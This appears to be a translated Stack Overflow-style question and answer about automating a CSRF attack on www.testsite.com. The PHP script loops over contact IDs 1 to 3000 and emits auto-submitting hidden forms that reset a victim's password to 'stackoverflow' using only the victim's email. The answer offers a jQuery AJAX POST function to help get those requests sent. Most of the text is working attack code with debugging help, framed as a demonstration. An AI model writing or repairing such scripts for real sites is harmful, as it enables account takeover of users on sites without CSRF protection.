为了解释我想要完成的任务,这里有一些事实:
- www.testsite.com不受CSRF保护,如果攻击者知道受害者的电子邮件和他的唯一联系人,他就有可能更改受害者的密码。
- 每个新用户通过自动加1获得一个新ID。现在只有3000个联系人id;所以这意味着1,2,3,4,5,6 -> 3000。 如果攻击者知道受害者的电子邮件,他可以简单地猜测联系人id(最多3000个),然后他可以更改它。我想让它自动完成。
-我试图创建一个PHP脚本,以了解更多关于代码,并显示这是多么简单。
所以我认为我可以使用一个循环,自动增加contactid,然后将数据发布到www.testsite.com。问题是,它不发送所有的POST请求(与contactID=1和另一个与contactID=2等)…下面是我的代码:
<?php
echo "I set the password to 'stackoverflow'. <br/>";
$mailadres = 1; //startvalue to remove that undefined index php error.
if (isset($_GET['mailadres'])){ //i hate undefined errors
$mailadres = $_GET['mailadres'];
}
if ($mailadres == 1) { //Tell users that you have to submit e-mail via _GET
echo "usage: ./csrf.php?mailadres=victim@gmail.com <br/>";
}
$contactid = 1; //We begin with one....
while ($contactid <= 3000) { //There are not more contactID's than 3000 at this moment.
echo "<form name='csrf' action='http://www.testsite.com/submit.php' method='POST'>
<input type='hidden' name='contactid' value='{$contactid}'>
<input type='hidden' name='something' value='something'>
<input type='hidden' name='mailadres'' value='{$mailadres}'>
<input type='hidden' name='changepassword' value='stackoverflow'>
</form>
<script>document.csrf.submit();</script>";
$contactid ++; //increment in order to post every contactID.
}
?>
我的问题是:我如何使PHP提交所有这些表单(contactid=1 &contactid = 2)
首先你需要去掉表单中的动作、方法等。让它像下面这样简单:
<form id="form1">
.....
</form>
然后你需要给元素,给相同的名字给'name'。例如
<input type='hidden' name='contactid' id='contactid' value='{$contactid}'>
然后用onClick()创建一个按钮并触发一个函数,如
<button id="button1" onclick="postData()">PostData</button>
则有如下函数
function postData(d1, d2, d3, d4) {
$.ajax({
url: 'http://www.testsite.com/submit.php',
data: {
data1: d1,
data2: d2,
data3: d3,
data4: d4
},
type: 'POST',
success: function(result) {
//code for success
},
error: function(jqXHR, textStatus, errorThrown) {
//code in case of error
}
});
}
当按钮点击发生时,您的数据将自动发布到给定的url。